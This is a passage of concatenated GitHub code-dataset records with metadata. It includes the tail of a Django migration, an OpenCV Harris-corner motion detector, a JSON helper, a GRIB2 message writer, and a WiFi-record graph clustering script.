to='contrib.Servidor', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='resultado',\r\n            field=models.SmallIntegerField(default=0, null=True, blank=True, choices=[(0, 'N\\xe3o Avaliado'), (10, 'Deferido'), (20, 'Indeferido')]),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='tipo_baixa',\r\n            field=models.SmallIntegerField(default=0, null=True, blank=True, choices=[(0, 'N\\xe3o Realizada'), (10, 'Retorno Marcado'), (20, 'Encaminhamento Marcado'), (30, 'Atendimento Negado')]),\r\n        ),\r\n        migrations.AlterField(\r\n            model_name='defensor',\r\n            name='impedimento',\r\n            field=models.ForeignKey(related_name='+', on_delete=django.db.models.deletion.SET_DEFAULT, default=None, blank=True, to='atendimento.Impedimento', null=True),\r\n        ),\r\n        migrations.AlterField(\r\n            model_name='impedimento',\r\n            name='justificativa',\r\n            field=models.TextField(null=True),\r\n        ),\r\n        migrations.AlterField(\r\n            model_name='impedimento',\r\n            name='pessoa',\r\n            field=models.ForeignKey(related_name='impedimentos', to='assistido.PessoaAssistida', on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AlterField(\r\n            model_name='qualificacao',\r\n            name='tipo',\r\n            field=models.PositiveSmallIntegerField(default=10, choices=[(10, 'Pedido'), (20, 'Atividade'), (30, 'Impedimento'), (40, 'Suspei\\xe7\\xe3o'), (50, 'Nega\\xe7\\xe3o'), (51, 'Nega\\xe7\\xe3o por Hipossufici\\xeancia')]),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='modelodocumento',\r\n            name='ged_modelo',\r\n            field=models.ForeignKey(on_delete=django.db.models.deletion.SET_NULL, verbose_name='Documento', blank=True, to='djdocuments.Documento', null=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='documento',\r\n            name='modelo',\r\n            field=models.ForeignKey(related_name='modelo', blank=True, to='atendimento.ModeloDocumento', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='qualificacao',\r\n            name='modelos_documentos',\r\n            field=models.ManyToManyField(related_name='qualificacoes', to='atendimento.ModeloDocumento', blank=True),\r\n        ),\r\n    ]\r\n", "repo_name": "SegurancaDPDF/SOLAR-Backend", "sub_path": "atendimento/atendimento/migrations/0048_auto_20180209_1050.py", "file_name": "0048_auto_20180209_1050.py", "file_ext": "py", "file_size_in_byte": 7859, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterModelOptions", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 47, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 51, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 54, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 54, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 54, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 54, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 56, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 59, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 59, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 61, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 61, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 64, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 66, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 66, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 69, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 74, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 74, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 74, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 74, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 79, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 79, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 81, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 84, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 84, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 84, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 86, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 86, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 89, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 89, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 91, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 91, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 94, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 94, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 96, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 99, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 99, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 101, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 101, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 104, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 104, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 106, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 106, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 109, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 109, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 111, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 111, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 114, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 114, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 114, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 116, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 119, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 119, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 119, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 119, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 121, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 121, "usage_type": "name"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 124, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 124, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 126, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 126, "usage_type": "name"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 129, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 129, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 131, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 131, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 134, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 134, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 134, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 134, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 136, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 136, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 139, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 139, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 141, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 141, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 144, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 144, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 144, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 144, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 146, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 146, "usage_type": "name"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 149, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 149, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 151, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 151, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 154, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 154, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 154, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 154, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 156, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 156, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 159, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 159, "usage_type": "name"}, {"api_name": "django.db.db", "line_number": 159, "usage_type": "attribute"}, {"api_name": "django.db", "line_number": 159, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 161, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 161, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 164, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 164, "usage_type": "name"}]}
{"seq_id": "470203351", "text": "\"\"\"\n Aalgoritmo Harris & Stephens\n\n Vamos a buscar aquellas zonas con una variacion de imagenes muy grande. De esta forma obtendremos los puntos de interes.\n La idea del algoritmo es obtener aquellos puntos que hacen “esquina” mirando si tiene dos gradientes muy grandes en perpendicular.\n\n\"\"\"\nimport cv2\nimport numpy as np\nfrom datetime import datetime\n\ncamara = cv2.VideoCapture(1, cv2.CAP_DSHOW)\npuntosRelevantes = 0\numbralSuperior = 1.5\numbralInferior = 0.5\nnow = 0\ntiempoActual = 0\n\nwhile True:\n    _, imagen = camara.read()\n\n    # La imagen a color se transforma en una imagen en gris\n    imagenGris = cv2.cvtColor(imagen, cv2.COLOR_BGR2GRAY)\n\n    # Se transforma la imagen en gris a un float\n    imagenGris = np.float32(imagenGris)\n\n    \"\"\"\n     Se aplica la fórmula con los siguientes parámetros:\n     \n        1- Imágen sobre la que buscar los puntos.\n        \n        2- Tamaño de los vecinos considerados para la detección, es decir, se utiliza el rango de valores -2 < x < 2.\n        \n        3- Parámetro de apertura de la derivada Sobel, es decir, M e una matriz 3x3. Cuanto más grande más falsos positivos. \n           Cuanto más pequeño más puntos de interés se pierden.\n           \n        4- Parámetro libre en la formula de Harris. Es una constante que varía entre [0.04, 0.06].\n        \n                                                                                    -1  0  1    -1 -2 -1\n        Las matrizes que se aplicarán para buscar las esquinas son las siguientes:  -2  0  2     0  0  0\n                                                                                    -1  0  1     1  2  1\n    \"\"\"\n    harris = cv2.cornerHarris(imagenGris, 2, 3, 0.04)\n\n    # Obtenemos el numero total de esquinas\n    nEsquinas = np.sum(harris > 0.01 * harris.max())\n\n    # Cada 15 minutos se renuevan los puntos de referencia usados para comparar\n    now = datetime.now()\n    if now.timestamp() - tiempoActual > 9000000 or tiempoActual == 0:\n        tiempoActual = now.timestamp()\n        puntosRelevantes = nEsquinas\n\n    # Para saber si se ha producido movimient lo que se hace es comparar si la cantidad de puntos entra dentro de un umbral.\n    if nEsquinas > (puntosRelevantes * umbralSuperior) or nEsquinas < (puntosRelevantes * umbralInferior):\n        print(\"MOVIMIENTO\")\n\n    # Del resultado anterior me quedo con el 1% de las esquinas totales más relevantes. Se representan mediante puntos en azul.\n    imagen[harris>0.01 * harris.max()] = [0, 0, 255]\n\n    cv2.imshow(\"Harris - color\", imagen);\n    if cv2.waitKey(2) & 0xFF == ord('q'):\n        break", "repo_name": "MartiMarch/HarrisStephens", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2595, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.VideoCapture", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.CAP_DSHOW", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.cornerHarris", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "name"}, {"api_name": "cv2.imshow", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "9633642693", "text": "#处理json文件\n#encoding=utf-8\n#在base->base_request.py中mock数据，达到当相关字段加密时，接口测试能正常进行\nimport json\nimport os\nimport sys\nbase_path = os.getcwd()\nsys.path.append(base_path)\n\n#读取json数据\ndef read_json(file_name =None):\n    if file_name ==None:\n        file_path = base_path+'/config/user_data.json'\n    else:\n        file_path = base_path+file_name\n    with open(file_path,encoding='utf-8') as f:\n        data = json.load(f)\n    return data\n\n#根据键值对关系获取相应的值\ndef get_value(key,file_name=None):\n    data = read_json(file_name)\n    return data.get(key)\n\n#写入新值\ndef write_value(data,path): \n    data_value = json.dumps(data)  #将传入的data,字典类型转化为json类型\n    with open(path,'w') as f:\n        f.write(data_value)\n", "repo_name": "panpanpandududu/auto-interface-test", "sub_path": "util/handle_json.py", "file_name": "handle_json.py", "file_ext": "py", "file_size_in_byte": 814, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.getcwd", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "2951913832", "text": "from __future__ import annotations\n\nimport contextlib\nimport dataclasses\nfrom typing import BinaryIO, Callable\n\nfrom .encoders import BaseEncoder\nfrom .grid import BaseGrid\nfrom .message import Identification, Indicator\nfrom .product import BaseProductDefinition\n\n\n@dataclasses.dataclass\nclass Grib2MessageWriter:\n    f: BinaryIO\n    ind: Indicator\n    ident: Identification\n    _size: int = dataclasses.field(default=0, init=False)\n    _last_sect_no: int = dataclasses.field(default=0, init=False)\n    _start_pos: int = dataclasses.field(init=False)\n\n    def __enter__(self):\n        self._check_file()\n        self._write_sect0()\n        self._write_sect1()\n        return self\n\n    def __exit__(self, _exc_type, _exc_val, _exc_tb):\n        self.close()\n\n    def close(self):\n        self._write_sect8()\n        self._finalize_size()\n\n    def _check_file(self):\n        if not self.f.writable():\n            raise RuntimeError(\"file is not writable\")\n        if not self.f.seekable():\n            raise RuntimeError(\"file is not seekable\")\n        self._start_pos = self.f.tell()\n\n    def _write_sect0(self):\n        with self._section_context(0):\n            self._size += self.ind.write(self.f)\n\n    def _write_sect1(self):\n        with self._section_context(1):\n            self._size += self.ident.write(self.f)\n\n    def _write_sect2(self):\n        with self._section_context(2, lambda x: x == 7):\n            pass  # not implemented\n\n    def _write_sect3(self, grid: BaseGrid):\n        with self._section_context(3, lambda x: x == 1 or x == 7):\n            self._size += grid.write(self.f)\n\n    def _write_sect4(self, product: BaseProductDefinition):\n        with self._section_context(4, lambda x: x == 7):\n            self._size += product.write(self.f)\n\n    def _write_sect5(self, encoder: BaseEncoder):\n        with self._section_context(5):\n            self._size += encoder.write_sect5(self.f)\n\n    def _write_sect6(self, encoder: BaseEncoder):\n        with self._section_context(6):\n            self._size += encoder.write_sect6(self.f)\n\n    def _write_sect7(self, encoder: BaseEncoder):\n        with self._section_context(7):\n            self._size += encoder.write_sect7(self.f)\n\n    def _write_sect8(self):\n        with self._section_context(8):\n            self._size += self.f.write(b\"\\x37\\x37\\x37\\x37\")\n\n    def _finalize_size(self):\n        self.ind.total_length = self._size\n        self.f.seek(self._start_pos)\n        self.ind.write(self.f)\n\n    @contextlib.contextmanager\n    def _section_context(self, sect_no: int, cond: Callable[[int], bool] | None = None):\n        expected_prev_sect_no = 0 if sect_no == 0 else sect_no - 1\n        if self._last_sect_no != 8 and (\n            self._last_sect_no == expected_prev_sect_no\n            or (cond is not None and cond(self._last_sect_no))\n        ):\n            pass\n        else:\n            raise RuntimeError(\"wrong section order\")\n        try:\n            yield\n        finally:\n            self._last_sect_no = sect_no\n", "repo_name": "noritada/gribcoder", "sub_path": "gribgen/context.py", "file_name": "context.py", "file_ext": "py", "file_size_in_byte": 2998, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.BinaryIO", "line_number": 15, "usage_type": "name"}, {"api_name": "message.Indicator", "line_number": 16, "usage_type": "name"}, {"api_name": "message.Identification", "line_number": 17, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 18, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 19, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 20, "usage_type": "call"}, {"api_name": "grid.BaseGrid", "line_number": 54, "usage_type": "name"}, {"api_name": "grid.write", "line_number": 56, "usage_type": "call"}, {"api_name": "product.BaseProductDefinition", "line_number": 58, "usage_type": "name"}, {"api_name": "product.write", "line_number": 60, "usage_type": "call"}, {"api_name": "encoders.BaseEncoder", "line_number": 62, "usage_type": "name"}, {"api_name": "encoders.BaseEncoder", "line_number": 66, "usage_type": "name"}, {"api_name": "encoders.BaseEncoder", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 84, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 83, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 13, "usage_type": "attribute"}]}
{"seq_id": "9548600830", "text": "\r\nimport os\r\nimport datetime as dt\r\nimport networkx as nx\r\nfrom mcl.mcl_clustering import mcl\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\n\r\nfrom const import *\r\nfrom uim_location import *\r\n\r\ndef create_graph(records):\r\n    pairs = {}\r\n    counts = {}\r\n    pair = namedtuple('pair', ['j','k'])\r\n    all_record_pairs = []\r\n    for t, macs in records:\r\n        record_pairs = []\r\n        for (j, mac1) in enumerate(macs):\r\n            if mac1 not in counts:\r\n                counts[mac1] = 0\r\n            counts[mac1] += 1\r\n            for (k, mac2) in enumerate(macs[j+1:]):\r\n                p = pair(mac1, mac2)\r\n                if p not in pairs:\r\n                    pairs[p] = 0\r\n                pairs[p] += 1\r\n                record_pairs.append(p)\r\n        all_record_pairs.append(record_pairs)\r\n    support = {}\r\n    for p, c in pairs.items():\r\n        support[p] = float(c) / float(min(counts[p.j], counts[p.k]))\r\n    edges = [(p.j, p.k, s) for (p,s) in support.items()]\r\n    unwtd = [(p.j, p.k) for p in support]\r\n    G = nx.Graph(unwtd)\r\n    G.add_weighted_edges_from(edges)\r\n    return G\r\n\r\n\r\ndef create_edges(records):\r\n    edges = []\r\n    all_macs = []\r\n    for t, macs in records:\r\n        for (i, mac1) in enumerate(macs):\r\n            for mac2 in macs[i+1:]:\r\n                edges.append((mac1,mac2))\r\n    return edges\r\n        \r\n    # pairs = {}\r\n    # counts = {}\r\n    # pair = namedtuple('pair', ['j','k'])\r\n    # all_record_pairs = []\r\n    # for t, macs in records:\r\n        # record_pairs = []\r\n        # for j in range(len(macs)):\r\n            # if macs[j] not in counts:\r\n                # counts[macs[j]] = 0\r\n            # counts[macs[j]] += 1\r\n            # for k in range(j+1,len(macs)):\r\n                # p = pair(macs[j], macs[k])\r\n                # if p not in pairs:\r\n                    # pairs[p] = 0\r\n                # pairs[p] += 1\r\n                # record_pairs.append(p)\r\n        # all_record_pairs.append(record_pairs)\r\n    # support = {}\r\n    # for p, c in pairs.items():\r\n        # support[p] = float(c) / float(min(counts[p.j], counts[p.k]))\r\n\r\n    # ratios = []\r\n    # for i in range(len(all_record_pairs)):\r\n        # record_pairs = all_record_pairs[i]\r\n        # data = [support[p] for p in record_pairs]\r\n        # if len(data) < 2:\r\n            # ratios.append((0, records[i]))\r\n        # else:\r\n            # mean = statistics.mean(data)\r\n            # stdev = statistics.stdev(data, xbar=mean)\r\n            # ratios.append((stdev / mean, records[i]))\r\n\r\n    # ratios = sorted(ratios, key=lambda x:x[0])\r\n\r\n    # good_records = []\r\n    # all_macs = set()\r\n    # for _, record in ratios:\r\n        # size = len(all_macs)\r\n        # all_macs |= set(record[1])\r\n        # '''Only add records that provide new information '''\r\n        # if len(all_macs) > size:\r\n            # good_records.append(record)\r\n\r\n    # return good_records, all_macs\r\n\r\ndef draw_wtd_graph(G,clusters=None,showfig=True):\r\n    ''' Based on an example by Aric Hagberg (hagberg@lanl.gov)'''\r\n    \r\n    pos=nx.spring_layout(G) # positions for all nodes\r\n\r\n    # nodes\r\n    if clusters is None:\r\n        nx.draw_networkx_nodes(G,pos,node_size=50)\r\n    else:\r\n        colors = [(random.random(),random.random(),random.random()) for i in xrange(255)]\r\n        new_map = mpl.colors.LinearSegmentedColormap.from_list('new_map', colors, N=256)\r\n        for (i,(cluster,macs)) in enumerate(clusters.items()):\r\n            nx.draw_networkx_nodes(G,pos,nodelist=macs,node_size=50,node_color=new_map(i))#,cmap=new_map)\r\n    #\r\n    elarge=[(u,v) for (u,v,d) in G.edges(data=True) if d['weight'] >0.5]\r\n    esmall=[(u,v) for (u,v,d) in G.edges(data=True) if d['weight'] <=0.5]\r\n    # edges\r\n    nx.draw_networkx_edges(G,pos,edgelist=elarge, width=.75)\r\n    nx.draw_networkx_edges(G,pos,edgelist=esmall, width=.5,alpha=0.5,edge_color='k',style='dashed')\r\n\r\n    # labels\r\n    # nx.draw_networkx_labels(G,pos,font_size=20,font_family='sans-serif')\r\n\r\n    plt.axis('off')\r\n    if showfig:\r\n        plt.show() # display\r\n    else:\r\n        plt.savefig(\"weighted_graph.png\") # save as png\r\n\r\ndef networkx_mcl(G, expand_factor = 2, inflate_factor = 2, max_loop = 10 , mult_factor = 1):\r\n    keys = G.node.keys()\r\n    A = nx.adjacency_matrix(G, keys)\r\n    M,clusters = mcl(np.array(A.todense()), expand_factor, inflate_factor, max_loop, mult_factor)\r\n    for cluster_id in sorted(clusters):\r\n        nodes = clusters[cluster_id]\r\n        nodes = [keys[n] for n in nodes]\r\n        clusters[cluster_id] = nodes    \r\n    return M,clusters\r\n    \r\n    \r\nif __name__ == \"__main__\":\r\n    users = []\r\n    for fn in os.listdir(os.path.join(DATA_DIR, \"uim_exp1_release\")):\r\n        path = os.path.join(DATA_DIR, \"uim_exp1_release\", fn)\r\n        if os.path.isdir(path) and fn.startswith(\"User\"):\r\n            users.append(fn)\r\n    #\r\n    for user in users:\r\n        all_wifi_records = load_wifi_records(user)\r\n        G = create_graph(all_wifi_records)\r\n        M,clusters = networkx_mcl(G, expand_factor = 2, inflate_factor = 2, mult_factor = 2,max_loop = 60)\r\n        for cluster,macs in clusters.items():\r\n            for mac in macs:\r\n                G.node[mac][\"cluster\"] = cluster\r\n\r\n        draw_wtd_graph(G,clusters)\r\n        \r\n        break\r\n    \r\n\r\n    ", "repo_name": "josting/CS538_Project", "sub_path": "uim_graph.py", "file_name": "uim_graph.py", "file_ext": "py", "file_size_in_byte": 5299, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "networkx.Graph", "line_number": 37, "usage_type": "call"}, {"api_name": "networkx.spring_layout", "line_number": 99, "usage_type": "call"}, {"api_name": "networkx.draw_networkx_nodes", "line_number": 103, "usage_type": "call"}, {"api_name": "random.random", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.colors.LinearSegmentedColormap.from_list", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 106, "usage_type": "attribute"}, {"api_name": "networkx.draw_networkx_nodes", "line_number": 108, "usage_type": "call"}, {"api_name": "networkx.draw_networkx_edges", "line_number": 113, "usage_type": "call"}, {"api_name": "networkx.draw_networkx_edges", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "networkx.adjacency_matrix", "line_number": 127, "usage_type": "call"}, {"api_name": "mcl.mcl_clustering.mcl", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}]}
